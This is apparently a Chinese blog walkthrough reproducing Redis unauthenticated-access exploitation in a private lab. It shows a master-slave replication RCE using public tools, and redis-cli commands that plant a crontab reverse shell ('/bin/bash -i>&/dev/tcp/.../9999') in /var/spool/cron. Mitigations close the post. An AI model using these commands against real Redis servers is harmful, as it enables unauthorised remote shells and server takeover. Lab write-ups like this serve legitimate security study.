redis未授权访问漏洞复现

漏洞描述

Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。

漏洞的产生条件有以下两点:

(1)    Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网

(2)    没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务

影响版本

Redis 2.x,3.x,4.x,5.x

漏洞危害

(1) 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据

(2) 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件

(3) 如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器

漏洞环境

服务端:centos 7  192.168.220.131

客户端:kali 192.168.220.134

服务端准备:

redis未授权访问漏洞复现_第1张图片

客户端准备:

(1)安装redis-cli

1.下载redis-cli:wget http://download.redis.io/releases/redis-4.0.10.tar.gz

redis未授权访问漏洞复现_第2张图片
下载redis-cli

2.解压:

解压

3.编译:

redis未授权访问漏洞复现_第3张图片
编译

漏洞复现

方法一:利用主从复制rce

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

需要利用一个工具,GitHub下载即可。

1)git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(需要make)

2)git clone https://github.com/Ridter/redis-rce.git

安装RedisModules-ExecuteCommand:

redis未授权访问漏洞复现_第4张图片

make进src目录make,不进也可以。

安装:redis-rce

redis未授权访问漏洞复现_第5张图片

步骤:

首先:测试目标靶机是否存在未授权访问,下图说明靶机存在未授权访问,导致信息泄露。可以看到版本:4.0.14步骤:

redis未授权访问漏洞复现_第6张图片

然后利用RedisModules-ExecuteCommand make生成一个module.so

利用主从复制rce获取shell:

攻击端执行:python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

redis未授权访问漏洞复现_第7张图片

获取shell。

方法二:在crontab里写定时任务,反弹shell

1.在客户端开启监听(kali攻击机)

2.在客户端(kali攻击机)使用redis-cli连接redis服务器,写入反弹shell

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.220.134/9999 0>&1\n\n"

config set dir /var/spool/cron

config set dbfilename root

save

redis未授权访问漏洞复现_第8张图片

保存失败:我也不知道啥原因,知道的大佬请指教。原理保存成功后过一分钟就会反弹shell。可能是我之前输入错误的原因。

漏洞修复:

1、禁止外部访问Redis服务端口

2、禁止使用root权限启动redis服务

3、配置安全组,限制可连接Redis服务器的IP

参考链接:

https://www.cnblogs.com/yuzly/p/11663822.html

你可能感兴趣的:(redis未授权访问漏洞复现)